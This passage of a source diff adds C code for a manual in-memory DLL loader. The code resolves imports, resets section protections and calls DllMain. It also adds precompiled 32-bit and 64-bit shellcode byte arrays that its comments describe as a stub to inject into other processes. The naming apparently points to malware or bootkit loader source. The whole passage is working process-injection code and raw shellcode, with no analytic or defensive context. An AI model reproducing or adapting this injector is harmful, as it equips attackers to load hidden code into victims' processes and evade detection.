+ LdrCtx->uDllPath.Buffer = (PWSTR)&pOrdinalName->Name;
+ pOrdinalName = (PIMAGE_IMPORT_BY_NAME)&LdrCtx->uDllPath;
+ }
+
+ ntStatus = ((FUNC_PROC_ADDRESS)LdrCtx->Import.pLdrGetProcedureAddress)(ImportedModuleBase, (PANSI_STRING)pOrdinalName, Ordinal, (PVOID*)&IatEntry);
+ if (NT_SUCCESS(ntStatus))
+ {
+ pIatEntry = &pIAT->u1.Function;
+ *pIatEntry = IatEntry;
+ }
+ else
+ {
+ ntStatus = STATUS_PROCEDURE_NOT_FOUND;
+ break;
+ }
+
+ pINT++; // advance to next thunk
+ pIAT++; // advance to next thunk
+ } // while (TRUE)
+ } // if ( rvaINT != 0 )
+ } // if (NT_SUCCESS(ntStatus))
+ else
+ {
+ ntStatus = STATUS_INVALID_IMPORT_OF_NON_DLL;
+ break;
+ }
+ } // for (; pImportDesc->Name; pImportDesc++)
+ } // if (ImportStartRVA = Pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
+
+
+ if (NT_SUCCESS(ntStatus))
+ {
+ ULONG_PTR tSize = (ULONG_PTR)Pe->OptionalHeader.SizeOfHeaders;
+ // Restoring sections' protection
+ ntStatus = ((FUNC_PROTECT_MEM)LdrCtx->Import.pNtProtectVirtualMemory)((HANDLE)-1, (PVOID*)&ImageBase, &tSize, PAGE_READWRITE, &OldProtect);
+ for (i=0; (iCharacteristics & IMAGE_SCN_MEM_EXECUTE)
+ {
+ if (Section->Characteristics & IMAGE_SCN_MEM_WRITE)
+ NewProtect = PAGE_EXECUTE_READWRITE;
+ else
+ NewProtect = PAGE_EXECUTE_READ;
+ }
+ else if (Section->Characteristics & IMAGE_SCN_MEM_READ)
+ {
+ if (Section->Characteristics & IMAGE_SCN_MEM_WRITE)
+ NewProtect = PAGE_READWRITE;
+ else
+ NewProtect = PAGE_READONLY;
+ }
+ else
+ NewProtect = PAGE_READWRITE;
+
+ tSize = (ULONG_PTR)Section->Misc.VirtualSize;
+ BaseAddress = (PVOID)(ImageBase + Section->VirtualAddress);
+ ntStatus = ((FUNC_PROTECT_MEM)LdrCtx->Import.pNtProtectVirtualMemory)(NtCurrentProcess(), &BaseAddress, &tSize, NewProtect, &OldProtect);
+ Section += 1;
+ } // for (i=0; iOptionalHeader.AddressOfEntryPoint);
+ Result = (pDllMain)(ImageBase, DLL_PROCESS_ATTACH, &LdrCtx->AdContext);
+ } // if (NT_SUCCESS(ntStatus))
+ } // if (NT_SUCCESS(ntStatus))
+ } // if (ImageBase = LdrCtx->ImageBase)
+ else
+ {
+ // Loading DLL by name
+ if (NT_SUCCESS(((FUNC_LOAD_LIBRARY)LdrCtx->Import.pLdrLoadDll)(NULL, 0, &LdrCtx->uDllPath, &hModule)))
+ Result = TRUE;
+ }
+
+#ifdef _BK_CALL_EXPORT
+ if (Result && LdrCtx->ExportedFunction)
+ {
+ ULONG pThreadId;
+ ((FUNC_CREATE_THREAD)LdrCtx->Import.pCreateThread)(NULL, 0, &LdrCtx->ExportStub, LdrCtx, 0, &pThreadId);
+ }
+#endif
+}
+
+#ifdef _M_AMD64
+
+// This is 32-bit compiled LoadDllStub() function to inject into a WOW64 process.
+UCHAR LoadDllStubArch[] = {
+ 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x28, 0x53, 0x56, 0x57, 0x8B, 0x7D, 0x08, 0x8B, 0x4F, 0x30, 0x33,
+ 0xDB, 0x3B, 0xCB, 0x89, 0x4D, 0x08, 0x0F, 0x84, 0xF5, 0x01, 0x00, 0x00, 0x8B, 0x71, 0x3C, 0x03,
+ 0xF1, 0x0F, 0xB7, 0x46, 0x14, 0x8D, 0x44, 0x30, 0x18, 0x89, 0x45, 0xE0, 0x0F, 0xB7, 0x46, 0x06,
+ 0x89, 0x45, 0xE8, 0x89, 0x5D, 0xEC, 0x8B, 0x86, 0x80, 0x00, 0x00, 0x00, 0x3B, 0xC3, 0x0F, 0x84,
+ 0x22, 0x01, 0x00, 0x00, 0x03, 0xC1, 0x8B, 0x50, 0x0C, 0x3B, 0xD3, 0x89, 0x45, 0xFC, 0x0F, 0x84,
+ 0x12, 0x01, 0x00, 0x00, 0x8D, 0x04, 0x0A, 0x8A, 0x08, 0x33, 0xDB, 0x84, 0xC9, 0x74, 0x17, 0x8D,
+ 0x97, 0x40, 0x08, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0xC9, 0x66, 0x89, 0x0A, 0x43, 0x8A, 0x0C, 0x18,
+ 0x42, 0x42, 0x84, 0xC9, 0x75, 0xEF, 0x8D, 0x04, 0x1B, 0x8D, 0x4F, 0x38, 0x66, 0x89, 0x01, 0x83,
+ 0xC0, 0x02, 0x66, 0x89, 0x47, 0x3A, 0x8D, 0x87, 0x40, 0x08, 0x00, 0x00, 0x89, 0x47, 0x3C, 0x8D,
+ 0x45, 0xEC, 0x50, 0x51, 0x33, 0xDB, 0x53, 0x53, 0xFF, 0x17, 0x3B, 0xC3, 0x89, 0x45, 0xF8, 0x0F,
+ 0x8C, 0xB0, 0x00, 0x00, 0x00, 0x8B, 0x45, 0xFC, 0x8B, 0x10, 0x3B, 0xD3, 0x8B, 0x40, 0x10, 0x89,
+ 0x5D, 0xF0, 0x75, 0x0A, 0x3B, 0xC3, 0x8B, 0xD0, 0x0F, 0x84, 0x80, 0x00, 0x00, 0x00, 0x8B, 0x4D,
+ 0x08, 0x03, 0xC1, 0x8D, 0x1C, 0x0A, 0x89, 0x45, 0xF4, 0xEB, 0x64, 0x78, 0x04, 0x03, 0xD1, 0xEB,
+ 0x15, 0x3B, 0xD1, 0x72, 0x09, 0x8B, 0x46, 0x50, 0x03, 0xC1, 0x3B, 0xD0, 0x72, 0x08, 0x0F, 0xB7,
+ 0x03, 0x33, 0xD2, 0x89, 0x45, 0xF0, 0x85, 0xD2, 0x74, 0x1E, 0x33, 0xC9, 0x8D, 0x42, 0x02, 0x38,
+ 0x08, 0x74, 0x07, 0x41, 0x80, 0x3C, 0x08, 0x00, 0x75, 0xF9, 0x8D, 0x57, 0x38, 0x66, 0x89, 0x0A,
+ 0x41, 0x66, 0x89, 0x4F, 0x3A, 0x89, 0x47, 0x3C, 0x8D, 0x45, 0xE4, 0x50, 0xFF, 0x75, 0xF0, 0x52,
+ 0xFF, 0x75, 0xEC, 0xFF, 0x57, 0x08, 0x85, 0xC0, 0x89, 0x45, 0xF8, 0x7C, 0x1A, 0x8B, 0x4D, 0xF4,
+ 0x8B, 0x45, 0xE4, 0x89, 0x01, 0x8B, 0x4D, 0x08, 0x83, 0xC3, 0x04, 0x83, 0x45, 0xF4, 0x04, 0x8B,
+ 0x13, 0x85, 0xD2, 0x75, 0x96, 0xEB, 0x0A, 0xC7, 0x45, 0xF8, 0x7A, 0x00, 0x00, 0xC0, 0x8B, 0x4D,
+ 0x08, 0x83, 0x45, 0xFC, 0x14, 0x8B, 0x45, 0xFC, 0x8B, 0x50, 0x0C, 0x85, 0xD2, 0x0F, 0x85, 0x01,
+ 0xFF, 0xFF, 0xFF, 0xEB, 0x07, 0xC7, 0x45, 0xF8, 0x6F, 0x03, 0x00, 0xC0, 0x83, 0x7D, 0xF8, 0x00,
+ 0x0F, 0x8C, 0xB7, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x54, 0x89, 0x45, 0xF4, 0x8D, 0x45, 0xDC, 0x50,
+ 0x6A, 0x04, 0x8D, 0x45, 0xF4, 0x50, 0x8D, 0x45, 0x08, 0x50, 0x6A, 0xFF, 0xFF, 0x57, 0x10, 0x83,
+ 0x65, 0xF8, 0x00, 0x83, 0x7D, 0xE8, 0x00, 0x76, 0x71, 0x8B, 0x5D, 0xE0, 0x83, 0xC3, 0x24, 0x85,
+ 0xC0, 0x0F, 0x8C, 0x86, 0x00, 0x00, 0x00, 0x8B, 0x03, 0xA9, 0x00, 0x00, 0x00, 0x20, 0x74, 0x11,
+ 0x25, 0x00, 0x00, 0x00, 0x80, 0xF7, 0xD8, 0x1B, 0xC0, 0x83, 0xE0, 0x20, 0x83, 0xC0, 0x20, 0xEB,
+ 0x1A, 0xA9, 0x00, 0x00, 0x00, 0x40, 0x74, 0x10, 0x25, 0x00, 0x00, 0x00, 0x80, 0xF7, 0xD8, 0x1B,
+ 0xC0, 0x83, 0xE0, 0x02, 0x40, 0x40, 0xEB, 0x03, 0x6A, 0x04, 0x58, 0x8B, 0x4B, 0xE4, 0x89, 0x4D,
+ 0xF4, 0x8B, 0x4B, 0xE8, 0x03, 0x4D, 0x08, 0x89, 0x4D, 0xE0, 0x8D, 0x4D, 0xDC, 0x51, 0x50, 0x8D,
+ 0x45, 0xF4, 0x50, 0x8D, 0x45, 0xE0, 0x50, 0x6A, 0xFF, 0xFF, 0x57, 0x10, 0x83, 0xC3, 0x28, 0xFF,
+ 0x45, 0xF8, 0x8B, 0x4D, 0xF8, 0x3B, 0x4D, 0xE8, 0x72, 0x95, 0x85, 0xC0, 0x7C, 0x1F, 0x8B, 0x46,
+ 0x28, 0x03, 0x45, 0x08, 0x83, 0xC7, 0x18, 0x57, 0x6A, 0x01, 0xFF, 0x75, 0x08, 0xFF, 0xD0, 0xEB,
+ 0x0C, 0x8D, 0x45, 0xD8, 0x50, 0x8D, 0x47, 0x38, 0x50, 0x53, 0x53, 0xFF, 0x17, 0x5F, 0x5E, 0x5B,
+ 0xC9, 0xC2, 0x04, 0x00
+};
+
+#else
+
+// This is 64-bit compiled LoadDllStub() function to inject into a X64 process.
+UCHAR LoadDllStubArch[] = {
+ 0x48, 0x8B, 0xC4, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48,
+ 0x83, 0xEC, 0x48, 0x48, 0x8B, 0x51, 0x30, 0x48, 0x8B, 0xD9, 0x48, 0x85, 0xD2, 0x48, 0x89, 0x50,
+ 0x18, 0x0F, 0x84, 0x9D, 0x02, 0x00, 0x00, 0x48, 0x63, 0x7A, 0x3C, 0x48, 0x03, 0xFA, 0x44, 0x0F,
+ 0xB7, 0x67, 0x06, 0x44, 0x0F, 0xB7, 0x7F, 0x14, 0x48, 0x83, 0x60, 0x20, 0x00, 0x8B, 0x87, 0x90,
+ 0x00, 0x00, 0x00, 0x44, 0x89, 0xA4, 0x24, 0x90, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x84, 0x7B,
+ 0x01, 0x00, 0x00, 0x48, 0x8D, 0x34, 0x02, 0x8B, 0x46, 0x0C, 0x85, 0xC0, 0x0F, 0x84, 0x6C, 0x01,
+ 0x00, 0x00, 0x4C, 0x8D, 0x89, 0x48, 0x08, 0x00, 0x00, 0x44, 0x8B, 0xC0, 0x33, 0xC9, 0x4C, 0x03,
+ 0xC2, 0x41, 0x8A, 0x00, 0x84, 0xC0, 0x74, 0x1A, 0x33, 0xD2, 0x83, 0xC1, 0x01, 0x0F, 0xBE, 0xC0,
+ 0x66, 0x89, 0x84, 0x53, 0x48, 0x08, 0x00, 0x00, 0x42, 0x8A, 0x04, 0x01, 0x8B, 0xD1, 0x84, 0xC0,
+ 0x75, 0xE8, 0x66, 0x03, 0xC9, 0x4C, 0x89, 0x4B, 0x40, 0x4C, 0x8D, 0x43, 0x38, 0x66, 0x89, 0x4B,
+ 0x38, 0x66, 0x83, 0xC1, 0x02, 0x4C, 0x8D, 0x8C, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x66, 0x89, 0x4B,
+ 0x3A, 0x33, 0xC9, 0x33, 0xD2, 0xFF, 0x13, 0x85, 0xC0, 0x44, 0x8B, 0xD8, 0x0F, 0x88, 0xF5, 0x00,
+ 0x00, 0x00, 0x8B, 0x06, 0x8B, 0x4E, 0x10, 0x66, 0x45, 0x33, 0xED, 0x85, 0xC0, 0x75, 0x0A, 0x85,
+ 0xC9, 0x8B, 0xC1, 0x0F, 0x84, 0xBE, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x94, 0x24, 0xA0, 0x00, 0x00,
+ 0x00, 0x8B, 0xE8, 0x4C, 0x8D, 0x24, 0x0A, 0x48, 0x03, 0xEA, 0xE9, 0x93, 0x00, 0x00, 0x00, 0x48,
+ 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x85, 0xC8, 0x75, 0x08, 0x8B, 0x4D,
+ 0x00, 0x48, 0x03, 0xCA, 0xEB, 0x17, 0x48, 0x3B, 0xCA, 0x72, 0x0B, 0x8B, 0x47, 0x50, 0x48, 0x03,
+ 0xC2, 0x48, 0x3B, 0xC8, 0x72, 0x07, 0x44, 0x0F, 0xB7, 0x6D, 0x00, 0x33, 0xC9, 0x48, 0x85, 0xC9,
+ 0x74, 0x29, 0x4C, 0x8D, 0x41, 0x02, 0x33, 0xD2, 0x41, 0x38, 0x10, 0x74, 0x0A, 0x83, 0xC2, 0x01,
+ 0x80, 0x7C, 0x0A, 0x02, 0x00, 0x75, 0xF6, 0x66, 0x89, 0x53, 0x38, 0x66, 0x83, 0xC2, 0x01, 0x4C,
+ 0x89, 0x43, 0x40, 0x66, 0x89, 0x53, 0x3A, 0x48, 0x8D, 0x4B, 0x38, 0x48, 0x8B, 0xD1, 0x48, 0x8B,
+ 0x8C, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x4C, 0x24, 0x30, 0x45, 0x0F, 0xB7, 0xC5, 0xFF,
+ 0x53, 0x08, 0x85, 0xC0, 0x44, 0x8B, 0xD8, 0x78, 0x28, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x83,
+ 0xC5, 0x08, 0x49, 0x89, 0x04, 0x24, 0x48, 0x8B, 0x94, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x49, 0x83,
+ 0xC4, 0x08, 0x48, 0x8B, 0x4D, 0x00, 0x48, 0x85, 0xC9, 0x0F, 0x85, 0x60, 0xFF, 0xFF, 0xFF, 0xEB,
+ 0x0E, 0x41, 0xBB, 0x7A, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x94, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x8B,
+ 0x46, 0x20, 0x48, 0x83, 0xC6, 0x14, 0x4C, 0x8D, 0x8B, 0x48, 0x08, 0x00, 0x00, 0x85, 0xC0, 0x0F,
+ 0x85, 0xB4, 0xFE, 0xFF, 0xFF, 0xEB, 0x06, 0x41, 0xBB, 0x6F, 0x03, 0x00, 0xC0, 0x45, 0x85, 0xDB,
+ 0x0F, 0x88, 0x0D, 0x01, 0x00, 0x00, 0x44, 0x8B, 0xA4, 0x24, 0x90, 0x00, 0x00, 0x00, 0x8B, 0x47,
+ 0x54, 0x41, 0xBE, 0x04, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48,
+ 0x89, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48,
+ 0x8D, 0x94, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x45, 0x8B, 0xCE, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x89,
+ 0x44, 0x24, 0x20, 0xFF, 0x53, 0x10, 0x33, 0xED, 0x45, 0x85, 0xE4, 0x0F, 0x84, 0x94, 0x00, 0x00,
+ 0x00, 0x49, 0x8D, 0x74, 0x3F, 0x3C, 0x41, 0xBD, 0x00, 0x00, 0x00, 0x80, 0x85, 0xC0, 0x0F, 0x88,
+ 0xAF, 0x00, 0x00, 0x00, 0x8B, 0x06, 0x0F, 0xBA, 0xE0, 0x1D, 0x73, 0x12, 0x41, 0x23, 0xC5, 0xF7,
+ 0xD8, 0x45, 0x1B, 0xC9, 0x41, 0x83, 0xE1, 0x20, 0x41, 0x83, 0xC1, 0x20, 0xEB, 0x1B, 0x0F, 0xBA,
+ 0xE0, 0x1E, 0x73, 0x12, 0x41, 0x23, 0xC5, 0xF7, 0xD8, 0x45, 0x1B, 0xC9, 0x41, 0x83, 0xE1, 0x02,
+ 0x41, 0x83, 0xC1, 0x02, 0xEB, 0x03, 0x45, 0x8B, 0xCE, 0x8B, 0x46, 0xE4, 0x4C, 0x8D, 0x84, 0x24,
+ 0x90, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x30, 0x48, 0x89, 0x84, 0x24, 0x90, 0x00, 0x00,
+ 0x00, 0x8B, 0x46, 0xE8, 0x48, 0x83, 0xC9, 0xFF, 0x48, 0x03, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00,
+ 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x84, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44,
+ 0x24, 0x20, 0xFF, 0x53, 0x10, 0x83, 0xC5, 0x01, 0x48, 0x83, 0xC6, 0x28, 0x41, 0x3B, 0xEC, 0x0F,
+ 0x82, 0x77, 0xFF, 0xFF, 0xFF, 0x85, 0xC0, 0x78, 0x2A, 0x8B, 0x47, 0x28, 0x48, 0x8B, 0x8C, 0x24,
+ 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x43, 0x18, 0x48, 0x03, 0xC1, 0xBA, 0x01, 0x00, 0x00, 0x00,
+ 0xFF, 0xD0, 0xEB, 0x0F, 0x4C, 0x8D, 0x41, 0x38, 0x4C, 0x8D, 0x4C, 0x24, 0x38, 0x33, 0xD2, 0x33,
+ 0xC9, 0xFF, 0x13, 0x48, 0x83, 0xC4, 0x48, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F,
+ 0x5E, 0x5D, 0x5B, 0xC3
+};
+#endif